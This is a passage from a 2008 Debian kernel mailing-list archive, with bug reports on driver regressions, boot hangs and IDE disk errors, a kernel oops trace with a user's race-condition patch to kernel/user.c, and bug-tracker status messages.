Re: Question about time indices during boot process with new (= 2.6.25) kernel images
dann frazier wrote: This change was announced here: http://lists.debian.org/debian-kernel/2008/03/msg00265.html So I believe it was intentional. ah, missed that one, thanks. -- Address:Daniel Baumann, Burgunderstrasse 3, CH-4562 Biberist Email: [EMAIL PROTECTED] Internet: http://people.panthera-systems.net/~daniel-baumann/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#444981: linux-image-2.6.18-4-686: Oops in free_uid()
Package: linux-image-2.6.18-6-686-bigmem Version: 2.6.18.dfsg.1-18etch1 Here are the next kernel panic from week before last : May 9 13:11:20 server kernel: BUG: unable to handle kernel paging request at virtual address 00100104 May 9 13:11:20 server kernel: printing eip: May 9 13:11:20 server kernel: c01260ba May 9 13:11:20 server kernel: *pde = 07712001 May 9 13:11:20 server kernel: *pte = May 9 13:11:20 server kernel: Oops: 0002 [#1] May 9 13:11:20 server kernel: SMP May 9 13:11:20 server kernel: Modules linked in: ipt_REJECT xt_tcpudp iptable_filter ip_tables x_tables nfs nfsd exportfs lockd nfs_acl sunrpc ipv6 xfs dm_snapshot dm_mirror dm_mod ipmi_devintf ipmi_si ipmi_msghandler ide_generic ide_disk parport_pc i2c_i801 serio_raw shpMay 9 13:11:20 server kernel: CPU:3 May 9 13:11:20 server kernel: EIP:0060:[c01260ba]Not tainted VLI May 9 13:11:20 server kernel: EFLAGS: 00010002 (2.6.18-6-686-bigmem #1) May 9 13:11:20 server kernel: EIP is at free_uid+0x22/0x64 May 9 13:11:20 server kernel: eax: 00200200 ebx: c53caa00 ecx: c53caa28 edx: 00100100 May 9 13:11:20 server kernel: esi: 0086 edi: e3f11f34 ebp: d8e8e748 esp: e3f11e84 May 9 13:11:20 server kernel: ds: 007b es: 007b ss: 0068 May 9 13:11:20 server kernel: Process smbd (pid: 20029, ti=e3f1 task=e80ea000 task.ti=e3f1) May 9 13:11:20 server kernel: Stack: d8e8e748 d8e8e774 c012653d f718a218 c012691f 000a 000a 0009 May 9 13:11:20 server kernel: e3f11f14 e80ea000 e80ea464 c0127b51 0021 May 9 13:11:20 server kernel:b7d54ff4 e3f11fbc c0127ecb e3f11fbc e3f11f94 e3f11f14 e80ea464 0003 May 9 13:11:20 server kernel: Call Trace: May 9 13:11:20 server kernel: [c012653d] __sigqueue_free+0x1e/0x2d May 9 13:11:20 server kernel: [c012691f] __dequeue_signal+0x108/0x15c May 9 13:11:20 server kernel: [c0127b51] dequeue_signal+0x2d/0x9c May 9 13:11:20 server kernel: [c0127ecb] get_signal_to_deliver+0xe3/0x3bc May 9 13:11:20 server kernel: [c01023a2] do_notify_resume+0x71/0x5d7 May 9 13:11:20 server kernel: [c01166f5] __wake_up_common+0x2f/0x53 May 9 13:11:20 server kernel: [c027f582] schedule+0x84e/0x8fe May 9 13:11:20 server kernel: [c012ab09] sys_setresuid+0x1ae/0x1c0 May 9 13:11:20 server kernel: [c0102d06] work_notifysig+0x13/0x19 May 9 13:11:20 server kernel: Code: 30 c0 56 9d 5b 31 c0 5e c3 56 85 c0 53 89 c3 74 59 9c 5e fa ba d4 be 2c c0 e8 53 0d 09 00 85 c0 74 46 8d 4b 28 8b 53 28 8b 41 04 89 42 04 89 10 89 f2 b8 d4 be 2c c0 c7 41 04 00 02 20 00 c7 43 May 9 13:11:20 server kernel: EIP: [c01260ba] free_uid+0x22/0x64 SS:ESP 0068:e3f11e84 After this kernel panic, I installed my own debian kernel package. I build it with the current debian kernel sources and a patched kernel/user.c Here are the diff for the patched file kernel/user.c --- user.c 2006-09-20 05:42:06.0 +0200 +++ user.c 2008-05-09 10:26:24.0 +0200 @@ -187,6 +187,17 @@ atomic_dec(old_user-processes); switch_uid_keyring(new_user); current-user = new_user; + + /* +* We need to synchronize with __sigqueue_alloc() +* doing a get_uid(p-user).. If that saw the old +* user value, we need to wait until it has exited +* its critical region before we can free the old +* structure. +*/ + smp_mb(); + spin_unlock_wait(current-sighand-siglock); + free_uid(old_user); suid_keys(current); } We also identified the users, which are the cause for kernel panic and stressing access on samba server. Now, the new kernel is running and running also under the high load on samba server. signature.asc Description: Dies ist ein digital signierter Nachrichtenteil
Bug#476672: linux-image-2.6.25-2-486: alsa snd-cs46xx module missing
Same here - it took quite a while to detect this as error source for absence of sound. 00:0d.0 Multimedia audio controller: Cirrus Logic CS 4614/22/24 [CrystalClear SoundFusion Audio Accelerator] (rev 01) had been supported all the way from kernel 2.2. up! Now it suddenly is gone :( Chris: Could you possibly give further directions on how to build the module? Regards Ralf localhost:/usr/src/linux-headers-2.6.22-3/sound/pci/cs46xx# cat Makefile # # Makefile for ALSA # Copyright (c) 2001 by Jaroslav Kysela [EMAIL PROTECTED] # snd-cs46xx-objs := cs46xx.o cs46xx_lib.o ifeq ($(CONFIG_SND_CS46XX_NEW_DSP),y) snd-cs46xx-objs += dsp_spos.o dsp_spos_scb_lib.o endif # Toplevel Module Dependency obj-$(CONFIG_SND_CS46XX) += snd-cs46xx.o -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: severity of 481436 is important
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.27 severity 481436 important Bug#481436: linux-image-2.6.24-1-686: Unable to use wireless with Intel iwl3945 module. Severity set to `important' from `critical' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464933: marked as done (linux-image-2.6.24-1-amd64: r8169 doesn't work with 2.6.24 (regression from 2.6.23))
Your message dated Tue, 20 May 2008 15:20:43 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.24.2: r8169 doesn't work with 2.6.24.2 has caused the Debian Bug report #465510, regarding linux-image-2.6.24-1-amd64: r8169 doesn't work with 2.6.24 (regression from 2.6.23) to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 465510: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=465510 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.24-1-amd64 Version: 2.6.24-3 Severity: important With 2.6.24 r8169 stopped working on my asus A6Tc laptop. If I run tcpdump on both sides, I see that it's able to send DHCP requests, but the tcpdump on my laptop never shows the DHCP replies, so I guess there is some bug in the receiving code. If I boot the same system with 2.6.23 everything works fine. -- Package-specific info: -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.23-1-amd64 (SMP w/2 CPU cores) Locale: LANG=C, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages linux-image-2.6.24-1-amd64 depends on: ii debconf [debconf-2.0]1.5.19 Debian configuration management sy ii initramfs-tools [linux-initr 0.91d tools for generating an initramfs ii module-init-tools3.3-pre11-4 tools for managing Linux kernel mo linux-image-2.6.24-1-amd64 recommends no packages. -- debconf information: shared/kernel-image/really-run-bootloader: true linux-image-2.6.24-1-amd64/preinst/abort-overwrite-2.6.24-1-amd64: linux-image-2.6.24-1-amd64/postinst/old-dir-initrd-link-2.6.24-1-amd64: true linux-image-2.6.24-1-amd64/preinst/failed-to-move-modules-2.6.24-1-amd64: linux-image-2.6.24-1-amd64/postinst/bootloader-test-error-2.6.24-1-amd64: linux-image-2.6.24-1-amd64/preinst/lilo-initrd-2.6.24-1-amd64: true linux-image-2.6.24-1-amd64/postinst/create-kimage-link-2.6.24-1-amd64: true linux-image-2.6.24-1-amd64/postinst/depmod-error-initrd-2.6.24-1-amd64: false linux-image-2.6.24-1-amd64/postinst/old-system-map-link-2.6.24-1-amd64: true linux-image-2.6.24-1-amd64/preinst/lilo-has-ramdisk: linux-image-2.6.24-1-amd64/preinst/overwriting-modules-2.6.24-1-amd64: true linux-image-2.6.24-1-amd64/postinst/bootloader-error-2.6.24-1-amd64: linux-image-2.6.24-1-amd64/preinst/abort-install-2.6.24-1-amd64: linux-image-2.6.24-1-amd64/postinst/old-initrd-link-2.6.24-1-amd64: true linux-image-2.6.24-1-amd64/postinst/kimage-is-a-directory: linux-image-2.6.24-1-amd64/preinst/bootloader-initrd-2.6.24-1-amd64: true linux-image-2.6.24-1-amd64/prerm/would-invalidate-boot-loader-2.6.24-1-amd64: true linux-image-2.6.24-1-amd64/preinst/initrd-2.6.24-1-amd64: linux-image-2.6.24-1-amd64/prerm/removing-running-kernel-2.6.24-1-amd64: true linux-image-2.6.24-1-amd64/preinst/elilo-initrd-2.6.24-1-amd64: true linux-image-2.6.24-1-amd64/postinst/depmod-error-2.6.24-1-amd64: false ---End Message--- ---BeginMessage--- Version: 2.6.25-1 as indicated by bug reporter works with up to date kernel, thus closing. Lenny gets = 2.6.24 and if d-i wouldn't be dragging that kernel would already be there. -- maks ---End Message---
Processed: found 481436 in 2.6.25-2
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.27 found 481436 2.6.25-2 Bug#481436: linux-image-2.6.24-1-686: Unable to use wireless with Intel iwl3945 module. Bug marked as found in version 2.6.25-2. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#393329: marked as done (After seemingly successful install on Turion X2 system, freeze on boot)
Your message dated Tue, 20 May 2008 15:35:51 +0200 with message-id [EMAIL PROTECTED] and subject line Re: Bug#393329: After seemingly successful install on Turion X2 has caused the Debian Bug report #393329, regarding After seemingly successful install on Turion X2 system, freeze on boot to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 393329: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=393329 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.17-2-k7-smp Severity: important I installed Etch on my HP Pavilion DV6119US, which uses a Turion X2 TL-50 dual-core processor. After the install completed, I tried to boot off the Linux partition, but received this message: Checking TSC synchronization across 2 CPUs And then nothing. Solid freeze requiring power-off to restart. Once in six attempts at booting, after the above line I got: CPU#0 had 2672658 usecs, TSC skew, fixed it up And THEN a solid freeze. The system works flawlessly under Windows Media Center Edition and when booted from Knoppix CD. I swapped RAM without changing anything. Any suggestions? Note that I've already reported this problem as bug#392895 (against the installer). Thinking about it, I actually suspect it's a kernel problem, not an installer problem. If you concur, you can (I believe) reassign 392895 as a dupe of this one. Thank you for all your work on making Debian what it is. -- System Information: Debian Release: testing/unstable APT prefers testing APT policy: (500, 'testing') ---End Message--- ---BeginMessage--- closing as no further reaction on boot and most likely fixed due to newer acpi on 2.6.24 recent based debian installer images. -- maks ---End Message---
Bug#401035: marked as done (linux-image-2.6-686: errors with hard disk ST340823A)
Your message dated Tue, 20 May 2008 15:45:12 +0200
with message-id [EMAIL PROTECTED]
and subject line Re: linux-image-2.6-686: errors with hard disk ST340823A
has caused the Debian Bug report #401035,
regarding linux-image-2.6-686: errors with hard disk ST340823A
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [EMAIL PROTECTED]
immediately.)
--
401035: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=401035
Debian Bug Tracking System
Contact [EMAIL PROTECTED] with problems
---BeginMessage---
Package: linux-image-2.6-686
Version: 2.6.17+2
Severity: normal
When I startup my PC, appears to me in screen a lot of errors saying
that the kernel cannot read in sector 78165360 of my
hard disk, and the kernel disables DMA in the hard disk. The
disk has only 78165360 sectors, and the kernel thinks that it has
78165361 sectors . I have
been reading and much
people
who
have this hard disk have the same problem that I.
This is the error, they appears a lot of times:
hda: task_in_intr: status=0x59 { DriveReady SeekComplete DataRequest
Error }
hda: task_in_intr: error=0x10 { SectorIdNotFound }, LBAsect=78230639,
sector=78165360
ide: failed opcode was: unknown
ide0: reset: success
Excuse my poor English.
-- System Information:
Debian Release: 4.0
APT prefers testing
APT policy: (500, 'testing')
Architecture: i386 (i686)
Shell: /bin/sh linked to /bin/bash
Kernel: Linux 2.6.17-2-686
Locale: LANG=es_ES.UTF-8, LC_CTYPE=es_ES.UTF-8 (charmap=UTF-8)
Versions of packages linux-image-2.6-686 depends on:
ii linux-image-2.6.17-2-686 2.6.17-9 Linux 2.6.17 image on PPro/Celeron
linux-image-2.6-686 recommends no packages.
-- no debconf information
---End Message---
---BeginMessage---
Version: 2.6.23-1
fixed upstream thus closing.
--
maks
---End Message---
Bug#421870: marked as done (opcode unknown on ide hard disk)
Your message dated Tue, 20 May 2008 15:53:33 +0200
with message-id [EMAIL PROTECTED]
and subject line Re: opcode unknown on ide hard disk
has caused the Debian Bug report #421870,
regarding opcode unknown on ide hard disk
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [EMAIL PROTECTED]
immediately.)
--
421870: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=421870
Debian Bug Tracking System
Contact [EMAIL PROTECTED] with problems
---BeginMessage---
Package: linux-source
Version: 2.6.18
One of my disk when I boot the machine show the error (below one more complete
dmesg after boot and
hdparam -I of this
disk)
hdc: dma_intr: status=0x51 { DriveReady SeekComplete Error }
hdc: dma_intr: error=0x10 { SectorIdNotFound }, LBAsect=2122765, sector=2122764
ide: failed opcode was: unknown
hdd: DMA disabled
ide1: reset: success
hdc: task_in_intr: status=0x59 { DriveReady SeekComplete DataRequest Error }
hdc: task_in_intr: error=0x10 { SectorIdNotFound }, LBAsect=2122765,
sector=2122765
ide: failed opcode was: unknown
Buffer I/O error on device hdc, logical block 530691
This error only is show in boot time with kernel 2.6.18 and later and in the
version 2.6.8
this error is not show.
In pristine kernel 2.6.18 and not in 2.6.8 the time clock and keyboard run very
fast this is solved
by the patches of debian etch (I think this would be realationated)
I probe the kernel param hdc=noprobe and hdc=head,cyl,sector and the message
error are not show but
after of boot I can not access to the hard disk.
I probe diferent patches and diferent compilation options but error has not
been solved
My system is debian etch and the kernel of installation have the same probem
and during the installation
system blocked several times by this probem having reboot the system.
dmesg
-
Linux version 2.6.18 (Version: custom.1.0) ([EMAIL PROTECTED]) (gcc version
4.1.2 20061115 (prerelease) (Debian 4.1.1-21)) #1 Thu Apr 26 21:05:20 CEST 2007
ACPI: RSDP (v000 ASUS ) @ 0x000f81e0
ACPI: RSDT (v001 ASUS P5A-B0x42302e31 MSFT 0x31313031) @ 0x17ffc000
ACPI: FADT (v001 ASUS P5A-B0x42302e31 MSFT 0x31313031) @ 0x17ffc080
ACPI: BOOT (v001 ASUS P5A-B0x42302e31 MSFT 0x31313031) @ 0x17ffc040
ACPI: DSDT (v001 ASUS P5A-B0x1000 MSFT 0x0101) @ 0x
ACPI: PM-Timer IO Port: 0xec08
Detected 501.111 MHz processor.
Kernel command line: root=/dev/hda2 ro
Calibrating delay using timer specific routine.. 1003.07 BogoMIPS (lpj=2006158)
CPU: AMD-K6(tm) 3D processor stepping 0c
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
ALI15X3: IDE controller at PCI slot :00:0f.0
ACPI: Unable to derive IRQ for device :00:0f.0
ACPI: PCI Interrupt :00:0f.0[A]: no GSI
ALI15X3: chipset revision 193
ALI15X3: not 100% native mode: will probe irqs later
ide0: BM-DMA at 0xd800-0xd807, BIOS settings: hda:DMA, hdb:pio
ide1: BM-DMA at 0xd808-0xd80f, BIOS settings: hdc:DMA, hdd:pio
Probing IDE interface ide0...
hda: ST320423A, ATA DISK drive
ide0 at 0x1f0-0x1f7,0x3f6 on irq 14
Probing IDE interface ide1...
hdc: Maxtor 71084 AP, ATA DISK drive
hdd: IDE/ATAPI CD-ROM 44X, ATAPI CD/DVD-ROM drive
ide1 at 0x170-0x177,0x376 on irq 15
hda: max request size: 128KiB
hda: 40011300 sectors (20485 MB) w/512KiB Cache, CHS=39693/16/63, UDMA(33)
hda: cache flushes not supported
hda: hda1 hda2
hdc: max request size: 128KiB
hdc: 2122780 sectors (1086 MB) w/128KiB Cache, CHS=2105/16/63, DMA
hdc: hdc1 hdc2
PM-Timer running at invalid rate: 199% of normal - aborting.
Time: tsc clocksource has been installed.
kjournald starting. Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
hdc: dma_intr: status=0x51 { DriveReady SeekComplete Error }
hdc: dma_intr: error=0x10 { SectorIdNotFound }, LBAsect=2122765, sector=2122764
ide: failed opcode was: unknown
Real Time Clock Driver v1.12ac
hdc: dma_intr: status=0x51 { DriveReady SeekComplete Error }
hdc: dma_intr: error=0x10 { SectorIdNotFound }, LBAsect=2122765, sector=2122764
ide: failed opcode was: unknown
hdc: dma_intr: status=0x51 { DriveReady SeekComplete Error }
hdc: dma_intr: error=0x10 { SectorIdNotFound }, LBAsect=2122765, sector=2122764
ide: failed
Processed: tagging 480910
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.9.26 tags 480910 + pending Bug#480910: missing UDF 2.50 support Tags were: fixed-upstream patch Tags added: pending End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#406809: marked as done (linux-image-2.6.18-3-k7: kernel hangs when acpi=off is specified)
Your message dated Tue, 20 May 2008 16:09:36 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.18-3-k7: kernel hangs when acpi=off is specified has caused the Debian Bug report #406809, regarding linux-image-2.6.18-3-k7: kernel hangs when acpi=off is specified to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 406809: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=406809 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.18-3-k7 Version: 2.6.18-8 Severity: important Dear kernel maintainers, 2.6.18-3-k7 hangs if 'apci=off' is specified as a boot parameter. The hanging occurs at different stages of the boot process, e.g.: [...] Begin: Running /scripts/init-premount... FATAL: Error inserting fan (/lib/modules/2.6.18-3-k7/kernel/drivers/acpi/fan.ko) : No such device FATAL: Error inserting thermal (/lib/modules/2.6.18-3-k7/kernel/drivers/acpi/the rmal.ko): No such device _ or [...] Setting console screen modes and fonts. Setting up general console font... or [...] Synthesizing the initial hotplug events...done. Waiting for /dev to be fully populated... The issue does not occur with 2.6.17 or earlier nor with 2.6.18-3-486 nor with 2.6.18-3-amd64 (i.e. on amd64). I'm on the follwojg hardware: Board: ASUS A8V Deluxe BIOS: Revision 1017 CPU: Athlon64 X2 4800+ lspci gives: 00:00.0 Host bridge: VIA Technologies, Inc. K8T800Pro Host Bridge 00:00.1 Host bridge: VIA Technologies, Inc. K8T800Pro Host Bridge 00:00.2 Host bridge: VIA Technologies, Inc. K8T800Pro Host Bridge 00:00.3 Host bridge: VIA Technologies, Inc. K8T800Pro Host Bridge 00:00.4 Host bridge: VIA Technologies, Inc. K8T800Pro Host Bridge 00:00.7 Host bridge: VIA Technologies, Inc. K8T800Pro Host Bridge 00:01.0 PCI bridge: VIA Technologies, Inc. VT8237 PCI bridge [K8T800/K8T890 South] 00:07.0 FireWire (IEEE 1394): VIA Technologies, Inc. IEEE 1394 Host Controller (rev 80) 00:09.0 Network controller: RaLink RT2500 802.11g Cardbus/mini-PCI (rev 01) 00:0a.0 Ethernet controller: Marvell Technology Group Ltd. 88E8001 Gigabit Ethernet Controller (rev 13) 00:0f.0 RAID bus controller: VIA Technologies, Inc. VIA VT6420 SATA RAID Controller (rev 80) 00:0f.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT823x/A/C PIPC Bus Master IDE (rev 06) 00:10.0 USB Controller: VIA Technologies, Inc. VT82x UHCI USB 1.1 Controller (rev 81) 00:10.1 USB Controller: VIA Technologies, Inc. VT82x UHCI USB 1.1 Controller (rev 81) 00:10.2 USB Controller: VIA Technologies, Inc. VT82x UHCI USB 1.1 Controller (rev 81) 00:10.3 USB Controller: VIA Technologies, Inc. VT82x UHCI USB 1.1 Controller (rev 81) 00:10.4 USB Controller: VIA Technologies, Inc. USB 2.0 (rev 86) 00:11.0 ISA bridge: VIA Technologies, Inc. VT8237 ISA bridge [KT600/K8T800/K8T890 South] 00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT8233/A/8235/8237 AC97 Audio Controller (rev 60) 00:11.6 Communication controller: VIA Technologies, Inc. AC'97 Modem Controller (rev 80) 00:18.0 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] HyperTransport Technology Configuration 00:18.1 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Address Map 00:18.2 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] DRAM Controller 00:18.3 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Miscellaneous Control 01:00.0 VGA compatible controller: ATI Technologies Inc RV350 AP [Radeon 9600] 01:00.1 Display controller: ATI Technologies Inc RV350 AP [Radeon 9600] (Secondary) #389931 (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=389931) might be related to this. Please let me know if you need any more information or you want me to test anything. Best regards thanks a lot, Andree -- System Information: Debian Release: 4.0 APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-3-k7 Locale: LANG=en_AU.UTF-8, LC_CTYPE=en_AU.UTF-8 (charmap=UTF-8) Versions of packages linux-image-2.6.18-3-k7 depends on: ii coreutils 5.97-5.2 The GNU core utilities ii debconf [debconf-2.0] 1.5.11 Debian configuration management sy ii initramfs-tools [linux-initra 0.85e tools for generating an initramfs ii module-init-tools 3.3-pre4-1 tools for managing Linux kernel mo Versions of packages linux-image-2.6.18-3-k7 recommends: ii libc6-i686 2.3.6.ds1-10 GNU C
Bug#464503: marked as done (linux-image-2.6.24-1-amd64: Hangs on boot with SCSI/blkdev probing comm: scsi_scan_0)
Your message dated Tue, 20 May 2008 16:13:54 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.24-1-amd64: Hangs on boot with SCSI/blkdev probing comm: scsi_scan_0 has caused the Debian Bug report #464503, regarding linux-image-2.6.24-1-amd64: Hangs on boot with SCSI/blkdev probing comm: scsi_scan_0 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 464503: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464503 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.24-1-amd64 Version: 2.6.24-2 Severity: important The system boot correctly with: linux-image-2.6.22-3-amd64 2.6.22-6 linux-image-2.6.24-1-686 2.6.24-2 while with: linux-image-2.6.24-1-amd64 2.6.24-2 the system don't boot with registers dump. The system have e IBM ServerRaid 7k with BIOS/Firmware Version 7.12.02: scsi0 : IBM PCI ServeRAID 7.12.05 Build 761 sd 0:0:0:0: [sda] 72744960 512-byte hardware sectors (37245 MB) sd 0:0:0:0: [sda] Assuming Write Enabled sd 0:0:0:0: [sda] Assuming drive cache: write through sd 0:0:0:0: [sda] 72744960 512-byte hardware sectors (37245 MB) sd 0:0:0:0: [sda] Assuming Write Enabled sd 0:0:0:0: [sda] Assuming drive cache: write through sda: sda1 sda2 sda3 sda4 sda5 sda6 sda7 sda8 sda9 sda10 sda11 sda12 sda13 sda14 sd 0:0:0:0: [sda] Attached SCSI disk sd 0:0:1:0: [sdb] 500748288 512-byte hardware sectors (256383 MB) sd 0:0:1:0: [sdb] Assuming Write Enabled sd 0:0:1:0: [sdb] Assuming drive cache: write through sd 0:0:1:0: [sdb] 500748288 512-byte hardware sectors (256383 MB) sd 0:0:1:0: [sdb] Assuming Write Enabled sd 0:0:1:0: [sdb] Assuming drive cache: write through sdb: sdb1 sdb2 sdb3 sdb4 sdb5 sdb6 sdb7 sdb8 sdb9 sdb10 sdb11 sdb12 sdb13 sdb14 sdb15 sd 0:0:1:0: [sdb] Attached SCSI disk The message, after the registers dump, is about the following: Modules linked in: generic usbhid hid ips floppy scsi_mod piix ide_core ehci_hcd uhci_hcd tg3 thermal processor fan Pid: 964, comm: scsi_scan_0 Not tainted 2.6.24-1-amd64 #1 RIP: Thank you for your attention, Guido Bozzetto. -- Package-specific info: ** Version: Linux version 2.6.24-1-686 (Debian 2.6.24-2) ([EMAIL PROTECTED]) (gcc version 4.1.3 20080114 (prerelease) (Debian 4.1.2-19)) #1 SMP Thu Jan 31 20:35:50 UTC 2008 ** Command line: auto BOOT_IMAGE=Linux-686 ro root=802 ** Not tainted ** Kernel log: ** Loaded modules: Module Size Used by nfsd 203984 13 auth_rpcgss39744 1 nfsd exportfs4736 1 nfsd ppdev 8804 0 parport_pc 33668 0 lp 11076 0 parport34280 3 ppdev,parport_pc,lp autofs420644 5 nfs 228168 1 lockd 60744 3 nfsd,nfs nfs_acl 3520 2 nfsd,nfs sunrpc170780 14 nfsd,auth_rpcgss,nfs,lockd,nfs_acl ipt_MASQUERADE 3776 1 ipt_REDIRECT2080 10 ipt_owner 1984 4 ipt_REJECT 4480 3 ipt_LOG 5952 42 xt_limit2656 29 nf_nat_ftp 3296 0 nf_conntrack_ftp8896 1 nf_nat_ftp xt_state2464 132 xt_tcpudp 3136 419 iptable_mangle 2784 0 iptable_filter 2976 1 iptable_nat 6916 1 ip_tables 13188 3 iptable_mangle,iptable_filter,iptable_nat nf_nat 18316 4 ipt_MASQUERADE,ipt_REDIRECT,nf_nat_ftp,iptable_nat x_tables 14244 10 ipt_MASQUERADE,ipt_REDIRECT,ipt_owner,ipt_REJECT,ipt_LOG,xt_limit,xt_state,xt_tcpudp,iptable_nat,ip_tables nf_conntrack_ipv4 17352 134 iptable_nat nf_conntrack 62240 7 ipt_MASQUERADE,nf_nat_ftp,nf_conntrack_ftp,xt_state,iptable_nat,nf_nat,nf_conntrack_ipv4 ipv6 240772 44 quota_v28992 6 reiserfs 210976 1 ext2 65608 2 dm_snapshot16964 0 dm_mirror 21600 0 dm_mod 55812 2 dm_snapshot,dm_mirror pcspkr 3200 0 rtc13052 0 serio_raw 6660 0 psmouse36464 0 button 8432 0 i2c_i8019232 0 i2c_core 22432 1 i2c_i801 iTCO_wdt 11268 0 e752x_edac 11304 0 edac_core 42060 1 e752x_edac shpchp 31028 0 pci_hotplug27712 1 shpchp evdev 11104 0 ext3 122920 21 jbd
Bug#385671: marked as done (regression report- unlike prior versions, boot hangs unless noacpi =off on Toshiba Portege 7020CT)
Your message dated Tue, 20 May 2008 16:16:42 +0200 with message-id [EMAIL PROTECTED] and subject line Re: regression report- unlike prior versions, boot hangs unless noacpi =off on Toshiba Portege 7020CT has caused the Debian Bug report #385671, regarding regression report- unlike prior versions, boot hangs unless noacpi =off on Toshiba Portege 7020CT to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 385671: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=385671 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.16-2-486 Version: 2.6.16-2-486 unlike prior versions, boot hangs unless noacpi =off on Toshiba Portege 7020CT (Intel Mobile Pentium II, 366MHz, 192MB RAM, 7GB hard drive) 2.6.15 did not hang. This behavior was also observed under debian-installer beta-3 install and when a hard-drive-based debian was upgraded to kernel 2.6.16 Hang point is just past report of serial port detected. Tony Godshall (g) ---End Message--- ---BeginMessage--- Version: 2.6.24-1 Version: 2.6.16-2-486 Lenny and Etch have much newer acpi since (thanks to etch+half) very unlikely that this bug still exists, thus closing. -- maks ---End Message---
Bug#357448: marked as done (Boot hangs on SATA harddrive)
